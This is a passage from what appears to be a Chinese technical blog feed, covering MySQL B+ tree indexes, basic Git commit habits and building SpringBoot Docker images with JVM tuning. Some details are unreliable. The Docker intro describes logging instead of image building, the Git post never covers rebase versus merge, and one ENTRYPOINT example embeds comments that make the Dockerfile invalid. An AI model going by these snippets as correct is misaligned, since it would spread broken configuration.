class="string">&#x27;Alice&#x27;</span>;</span><br><span class="line"><span class="comment">-- 需要回表查其他列</span></span><br></pre></td></tr></table></figure><h2 id="四、索引页分裂与合并"><a href="#四、索引页分裂与合并" class="headerlink" title="四、索引页分裂与合并"></a>四、索引页分裂与合并</h2><p>#</p><h2 id="4-1-页分裂（Page-Split）"><a href="#4-1-页分裂（Page-Split）" class="headerlink" title="4.1 页分裂（Page Split）"></a>4.1 页分裂（Page Split）</h2><p>当插入数据导致页满时，触发页分裂：</p><ol><li>申请一个新页</li><li>将原页约一半数据移动到新页</li><li>更新父节点的指针</li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">插入前：</span><br><span class="line">[1, 2, 3, 4, 5]  ← 页已满</span><br><span class="line"></span><br><span class="line">插入6：</span><br><span class="line">[1, 2, 3]  ← 原页</span><br><span class="line">[4, 5, 6]  ← 新页</span><br><span class="line"></span><br><span class="line">父节点新增指向新页的指针</span><br></pre></td></tr></table></figure><p><strong>性能影响</strong>：</p><ul><li>页分裂涉及多个页的修改，成本较高</li><li>频繁页分裂导致页空间利用率降低（通常50%左右）</li><li>数据物理顺序变得不连续，影响顺序读性能</li></ul><p>#</p><h2 id="4-2-页合并（Page-Merge）"><a href="#4-2-页合并（Page-Merge）" class="headerlink" title="4.2 页合并（Page Merge）"></a>4.2 页合并（Page Merge）</h2><p>删除数据导致页利用率过低时（默认低于50%），可能触发页合并：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">删除前：</span><br><span class="line">Page A: [1, 2, 3]      ← 3条记录</span><br><span class="line">Page B: [4, 5]         ← 2条记录，利用率低</span><br><span class="line"></span><br><span class="line">删除后合并：</span><br><span class="line">Page A: [1, 2, 3, 5]   ← 合并后</span><br><span class="line">Page B: 空闲           ← 归还到空闲列表</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-顺序主键的优势"><a href="#4-3-顺序主键的优势" class="headerlink" title="4.3 顺序主键的优势"></a>4.3 顺序主键的优势</h2><p>使用自增ID作为主键：</p><ul><li>新数据总是追加到最后一页</li><li>几乎不会发生页分裂</li><li>数据物理连续，顺序读取效率高</li></ul><p>使用UUID作为主键：</p><ul><li>插入位置随机</li><li>频繁触发页分裂</li><li>数据物理分散，随机IO多</li></ul><h2 id="五、索引的物理存储"><a href="#五、索引的物理存储" class="headerlink" title="五、索引的物理存储"></a>五、索引的物理存储</h2><p>#</p><h2 id="5-1-表空间文件"><a href="#5-1-表空间文件" class="headerlink" title="5.1 表空间文件"></a>5.1 表空间文件</h2><p>InnoDB数据存储在表空间文件中：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ibdata1          # 系统表空间（共享）</span><br><span class="line">user.ibd         # 独立表空间（每张表一个文件，推荐）</span><br></pre></td></tr></table></figure><p>配置独立表空间：</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">innodb_file_per_table</span> = <span class="literal">ON</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-索引与数据的关系"><a href="#5-2-索引与数据的关系" class="headerlink" title="5.2 索引与数据的关系"></a>5.2 索引与数据的关系</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看表空间信息</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> information_schema.innodb_sys_tablespaces </span><br><span class="line"><span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;database/user&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-索引高度估算"><a href="#5-3-索引高度估算" class="headerlink" title="5.3 索引高度估算"></a>5.3 索引高度估算</h2><p>假设：</p><ul><li>页大小：16KB</li><li>主键类型：BIGINT（8字节）</li><li>指针大小：6字节</li><li>每行数据：1KB</li></ul><p><strong>非叶子节点</strong>：</p><ul><li>每个键值对大小：8 + 6 = 14字节</li><li>每页可容纳：16KB / 14B ≈ 1170个键</li></ul><p><strong>叶子节点</strong>：</p><ul><li>每页可容纳：16KB / 1KB = 16条记录</li></ul><p><strong>树高计算</strong>：</p><ul><li>高度1（根节点）：1170个指针</li><li>高度2：1170 × 1170 = 136万指针</li><li>高度3：1170 × 1170 × 16 ≈ 2190万条记录</li></ul><p>结论：2000万数据的表，树高通常只有3层，最多3次IO即可定位数据。</p><h2 id="六、索引使用最佳实践"><a href="#六、索引使用最佳实践" class="headerlink" title="六、索引使用最佳实践"></a>六、索引使用最佳实践</h2><p>#</p><h2 id="6-1-选择合适的列建索引"><a href="#6-1-选择合适的列建索引" class="headerlink" title="6.1 选择合适的列建索引"></a>6.1 选择合适的列建索引</h2><p><strong>适合建索引的列</strong>：</p><ul><li>WHERE条件中频繁使用的列</li><li>JOIN关联条件中的列</li><li>ORDER BY / GROUP BY的列</li><li>区分度高的列（唯一值比例高）</li></ul><p><strong>不适合建索引的列</strong>：</p><ul><li>区分度极低的列（如性别）</li><li>频繁更新的列（维护索引成本高）</li><li>小表（全表扫描更快）</li><li>很长的字符串列</li></ul><p>#</p><h2 id="6-2-索引设计原则"><a href="#6-2-索引设计原则" class="headerlink" title="6.2 索引设计原则"></a>6.2 索引设计原则</h2><ol><li><strong>最左前缀原则</strong>：联合索引(a,b,c)，查询条件必须包含最左边的列</li><li><strong>避免冗余索引</strong>：已有(a,b)，不需要单独的(a)</li><li><strong>控制索引数量</strong>：单表不超过5个索引，索引过多影响写入性能</li><li><strong>优先使用覆盖索引</strong>：减少回表次数</li></ol><p>#</p><h2 id="6-3-索引失效场景"><a href="#6-3-索引失效场景" class="headerlink" title="6.3 索引失效场景"></a>6.3 索引失效场景</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 1. 使用函数</span></span><br><span class="line"><span class="keyword">WHERE</span> <span class="keyword">YEAR</span>(create_time) <span class="operator">=</span> <span class="number">2024</span>   <span class="comment">-- 失效</span></span><br><span class="line"><span class="keyword">WHERE</span> create_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span> <span class="keyword">AND</span> create_time <span class="operator">&lt;</span> <span class="string">&#x27;2025-01-01&#x27;</span>  <span class="comment">-- 有效</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 2. 类型转换</span></span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;123&#x27;</span>   <span class="comment">-- user_id是int，发生隐式转换，失效</span></span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">123</span>     <span class="comment">-- 有效</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 3. 使用NOT、&lt;&gt;、!=</span></span><br><span class="line"><span class="keyword">WHERE</span> status <span class="operator">&lt;&gt;</span> <span class="number">1</span>   <span class="comment">-- 可能失效（取决于数据分布）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 4. LIKE以%开头</span></span><br><span class="line"><span class="keyword">WHERE</span> name <span class="keyword">LIKE</span> <span class="string">&#x27;%张%&#x27;</span>   <span class="comment">-- 失效</span></span><br><span class="line"><span class="keyword">WHERE</span> name <span class="keyword">LIKE</span> <span class="string">&#x27;张%&#x27;</span>    <span class="comment">-- 有效（用到索引）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 5. OR条件</span></span><br><span class="line"><span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">OR</span> name <span class="operator">=</span> <span class="string">&#x27;a&#x27;</span>   <span class="comment">-- name无索引时，id索引也失效</span></span><br></pre></td></tr></table></figure><h2 id="七、查看索引信息"><a href="#七、查看索引信息" class="headerlink" title="七、查看索引信息"></a>七、查看索引信息</h2><p>#</p><h2 id="7-1-查看表索引"><a href="#7-1-查看表索引" class="headerlink" title="7.1 查看表索引"></a>7.1 查看表索引</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> INDEX <span class="keyword">FROM</span> <span class="keyword">user</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-查看索引统计"><a href="#7-2-查看索引统计" class="headerlink" title="7.2 查看索引统计"></a>7.2 查看索引统计</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看索引 cardinality（区分度）</span></span><br><span class="line"><span class="keyword">SHOW</span> INDEX <span class="keyword">FROM</span> <span class="keyword">user</span> \G;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Cardinality越高，索引区分度越好</span></span><br><span class="line"><span class="comment">-- Cardinality / 总行数 接近1表示区分度好</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-分析索引使用情况"><a href="#7-3-分析索引使用情况" class="headerlink" title="7.3 分析索引使用情况"></a>7.3 分析索引使用情况</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看查询是否使用索引</span></span><br><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看索引大小</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    index_name,</span><br><span class="line">    ROUND(stat_value <span class="operator">*</span> @<span class="variable">@innodb_page_size</span> <span class="operator">/</span> <span class="number">1024</span> <span class="operator">/</span> <span class="number">1024</span>, <span class="number">2</span>) <span class="keyword">AS</span> size_mb</span><br><span class="line"><span class="keyword">FROM</span> mysql.innodb_index_stats</span><br><span class="line"><span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;user&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>概念</th><th>说明</th></tr></thead><tbody><tr><td>B+树</td><td>多路平衡树，非叶子节点只存键，叶子节点存数据并双向链表连接</td></tr><tr><td>聚簇索引</td><td>数据与索引在一起，叶子节点存完整行数据，按主键排序</td></tr><tr><td>二级索引</td><td>叶子节点存索引列+主键，需要回表</td></tr><tr><td>覆盖索引</td><td>查询列全在索引中，无需回表</td></tr><tr><td>页分裂</td><td>页满时分裂成两页，影响插入性能</td></tr><tr><td>页合并</td><td>页利用率过低时合并，回收空间</td></tr></tbody></table><p>理解B+树的结构特点，有助于：</p><ul><li>合理设计表结构和主键</li><li>优化索引设计</li><li>写出高效SQL</li><li>诊断性能问题</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-rebase-和-merge-怎么选"><a href="#Git-rebase-和-merge-怎么选" class="headerlink" title="Git rebase 和 merge 怎么选"></a>Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot Docker镜像构建</title>
      <link href="//springboot-docker-image-build/"/>
      <url>//springboot-docker-image-build/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-Docker镜像构建"><a href="#SpringBoot-Docker镜像构建" class="headerlink" title="SpringBoot Docker镜像构建"></a>SpringBoot Docker镜像构建</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="一、基础Dockerfile"><a href="#一、基础Dockerfile" class="headerlink" title="一、基础Dockerfile"></a>一、基础Dockerfile</h2><p>#</p><h2 id="1-1-最简单的构建方式"><a href="#1-1-最简单的构建方式" class="headerlink" title="1.1 最简单的构建方式"></a>1.1 最简单的构建方式</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jdk</span><br><span class="line"><span class="keyword">VOLUME</span><span class="language-bash"> /tmp</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> target/*.jar app.jar</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;/app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><strong>问题分析</strong>：</p><ul><li>使用JDK，镜像体积大</li><li>单层构建，无缓存优化</li><li>缺少JVM参数配置</li><li>无健康检查</li></ul><p>#</p><h2 id="1-2-使用JRE减小体积"><a href="#1-2-使用JRE减小体积" class="headerlink" title="1.2 使用JRE减小体积"></a>1.2 使用JRE减小体积</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br><span class="line"><span class="keyword">VOLUME</span><span class="language-bash"> /tmp</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> target/*.jar app.jar</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;/app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>JRE比JDK减少约200MB。</p><h2 id="二、多阶段构建"><a href="#二、多阶段构建" class="headerlink" title="二、多阶段构建"></a>二、多阶段构建</h2><p>#</p><h2 id="2-1-构建与运行分离"><a href="#2-1-构建与运行分离" class="headerlink" title="2.1 构建与运行分离"></a>2.1 构建与运行分离</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 第一阶段：构建</span></span><br><span class="line"><span class="keyword">FROM</span> maven:<span class="number">3.9</span>-eclipse-temurin-<span class="number">17</span>-alpine AS build</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> pom.xml .</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> src ./src</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> mvn clean package -DskipTests</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二阶段：运行</span></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=build /app/target/*.jar app.jar</span></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>最终镜像不包含Maven和编译工具</li><li>构建环境独立，不受宿主机影响</li><li>适合CI/CD流水线</li></ul><p>#</p><h2 id="2-2-结合分层打包"><a href="#2-2-结合分层打包" class="headerlink" title="2.2 结合分层打包"></a>2.2 结合分层打包</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 第一阶段：提取分层</span></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre AS builder</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"><span class="keyword">ARG</span> JAR_FILE=target/*.jar</span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> <span class="variable">$&#123;JAR_FILE&#125;</span> application.jar</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> java -Djarmode=layertools -jar application.jar extract</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二阶段：复制分层</span></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 按变化频率从低到高复制</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/spring-boot-loader/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/snapshot-dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/application/ ./</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, <span class="string">&quot;org.springframework.boot.loader.JarLauncher&quot;</span>]</span></span><br></pre></td></tr></table></figure><h2 id="三、JVM参数优化"><a href="#三、JVM参数优化" class="headerlink" title="三、JVM参数优化"></a>三、JVM参数优化</h2><p>#</p><h2 id="3-1-容器感知配置"><a href="#3-1-容器感知配置" class="headerlink" title="3.1 容器感知配置"></a>3.1 容器感知配置</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+UseContainerSupport&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:MaxRAMPercentage=75.0&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:InitialRAMPercentage=50.0&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><code>-XX:+UseContainerSupport</code>（Java 8u191+ / Java 11+ 默认开启）让JVM识别容器资源限制。</p><p>#</p><h2 id="3-2-垃圾回收器选择"><a href="#3-2-垃圾回收器选择" class="headerlink" title="3.2 垃圾回收器选择"></a>3.2 垃圾回收器选择</h2><p><strong>G1GC（通用场景）</strong>：</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+UseG1GC&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:MaxGCPauseMillis=200&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+UseContainerSupport&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:MaxRAMPercentage=75.0&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p><strong>ZGC（低延迟场景，Java 11+）</strong>：</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+UseZGC&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+ZGenerational&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:+UseContainerSupport&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-XX:MaxRAMPercentage=75.0&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;app.jar&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-内存配置详解"><a href="#3-3-内存配置详解" class="headerlink" title="3.3 内存配置详解"></a>3.3 内存配置详解</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;java&quot;</span>, \</span></span><br><span class="line"><span class="language-bash">    <span class="comment"># 堆内存</span></span></span><br><span class="line">    <span class="string">&quot;-XX:MaxRAMPercentage=75.0&quot;</span>, \</span><br><span class="line">    <span class="string">&quot;-XX:InitialRAMPercentage=50.0&quot;</span>, \</span><br><span class="line">    <span class="comment"># 元空间</span></span><br><span class="line">    <span class="string">&quot;-XX:MaxMetaspaceSize=256m&quot;</span>, \</span><br><span class="line">    <span class="comment"># 直接内存</span></span><br><span class="line">    <span class="string">&quot;-XX:MaxDirectMemorySize=128m&quot;</span>, \</span><br><span class="line">    <span class="comment"># 线程栈</span></span><br><span class="line">    <span class="string">&quot;-Xss1m&quot;</span>, \</span><br><span class="line">    <span class="comment"># OOM时生成dump</span></span><br><span class="line">    <span class="string">&quot;-XX:+HeapDumpOnOutOfMemoryError&quot;</span>, \</span><br><span class="line">    <span class="string">&quot;-XX:HeapDumpPath=/tmp/heapdump.hprof&quot;</span>, \</span><br><span class="line">    <span class="string">&quot;-jar&quot;</span>, <span class="string">&quot;app.jar&quot;</span>]</span><br></pre></td></tr></table></figure><h2 id="四、生产级Dockerfile模板"><a href="#四、生产级Dockerfile模板" class="headerlink" title="四、生产级Dockerfile模板"></a>四、生产级Dockerfile模板</h2><p>#</p><h2 id="4-1-完整模板"><a href="#4-1-完整模板" class="headerlink" title="4.1 完整模板"></a>4.1 完整模板</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 多阶段构建：提取分层</span></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre AS builder</span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> target/*.jar application.jar</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> java -Djarmode=layertools -jar application.jar extract</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行阶段</span></span><br><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建非root用户</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> groupadd -r appgroup &amp;&amp; useradd -r -g appgroup appuser</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /application</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 复制分层（按变化频率排序）</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/spring-boot-loader/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/snapshot-dependencies/ ./</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /application/application/ ./</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改权限</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">chown</span> -R appuser:appgroup /application</span></span><br><span class="line"><span class="keyword">USER</span> appuser</span><br><span class="line"></span><br><span class="line"><span class="comment"># 时区设置</span></span><br><span class="line"><span class="keyword">ENV</span> TZ=Asia/Shanghai</span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> <span class="built_in">ln</span> -snf /usr/share/zoneinfo/<span class="variable">$TZ</span> /etc/localtime &amp;&amp; <span class="built_in">echo</span> <span class="variable">$TZ</span> &gt; /etc/timezone</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># JVM参数</span></span><br><span class="line"><span class="keyword">ENV</span> JAVA_OPTS=<span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">ENV</span> JVM_OPTS=<span class="string">&quot;-XX:+UseContainerSupport \</span></span><br><span class="line"><span class="string">    -XX:MaxRAMPercentage=75.0 \</span></span><br><span class="line"><span class="string">    -XX:InitialRAMPercentage=50.0 \</span></span><br><span class="line"><span class="string">    -XX:+UseG1GC \</span></span><br><span class="line"><span class="string">    -XX:MaxGCPauseMillis=200 \</span></span><br><span class="line"><span class="string">    -XX:+HeapDumpOnOutOfMemoryError \</span></span><br><span class="line"><span class="string">    -XX:HeapDumpPath=/tmp/heapdump.hprof \</span></span><br><span class="line"><span class="string">    -Xlog:gc*:file=/tmp/gc.log:time,uptime:filecount=5,filesize=10m&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 健康检查</span></span><br><span class="line"><span class="keyword">HEALTHCHECK</span><span class="language-bash"> --interval=30s --<span class="built_in">timeout</span>=3s --start-period=60s --retries=3 \</span></span><br><span class="line"><span class="language-bash">    CMD curl -f http://localhost:8080/actuator/health || <span class="built_in">exit</span> 1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;java <span class="variable">$JVM_OPTS</span> <span class="variable">$JAVA_OPTS</span> org.springframework.boot.loader.JarLauncher&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-使用非Root用户"><a href="#4-2-使用非Root用户" class="headerlink" title="4.2 使用非Root用户"></a>4.2 使用非Root用户</h2><p>安全最佳实践：</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">RUN</span><span class="language-bash"> groupadd -r appgroup &amp;&amp; useradd -r -g appgroup appuser</span></span><br><span class="line"><span class="keyword">USER</span> appuser</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-健康检查"><a href="#4-3-健康检查" class="headerlink" title="4.3 健康检查"></a>4.3 健康检查</h2><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">HEALTHCHECK</span><span class="language-bash"> --interval=30s --<span class="built_in">timeout</span>=3s --start-period=60s --retries=3 \</span></span><br><span class="line"><span class="language-bash">    CMD curl -f http://localhost:8080/actuator/health/liveness || <span class="built_in">exit</span> 1</span></span><br></pre></td></tr></table></figure><p>SpringBoot Actuator需配置：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">management:</span></span><br><span class="line">  <span class="attr">endpoints:</span></span><br><span class="line">    <span class="attr">web:</span></span><br><span class="line">      <span class="attr">exposure:</span></span><br><span class="line">        <span class="attr">include:</span> <span class="string">health,info,metrics</span></span><br><span class="line">  <span class="attr">endpoint:</span></span><br><span class="line">    <span class="attr">health:</span></span><br><span class="line">      <span class="attr">probes:</span></span><br><span class="line">        <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">show-details:</span> <span class="string">always</span></span><br></pre></td></tr></table></figure><h2 id="五、构建优化技巧"><a href="#五、构建优化技巧" class="headerlink" title="五、构建优化技巧"></a>五、构建优化技巧</h2><p>#</p><h2 id="5-1-dockerignore文件"><a href="#5-1-dockerignore文件" class="headerlink" title="5.1 .dockerignore文件"></a>5.1 .dockerignore文件</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># Git</span><br><span class="line">.git</span><br><span class="line">.gitignore</span><br><span class="line"></span><br><span class="line"># IDE</span><br><span class="line">.idea</span><br><span class="line">*.iml</span><br><span class="line">.vscode</span><br><span class="line"></span><br><span class="line"># Maven</span><br><span class="line">target/</span><br><span class="line">!target/*.jar</span><br><span class="line"></span><br><span class="line"># 文档</span><br><span class="line">README.md</span><br><span class="line">*.md</span><br><span class="line"></span><br><span class="line"># 其他</span><br><span class="line">*.log</span><br><span 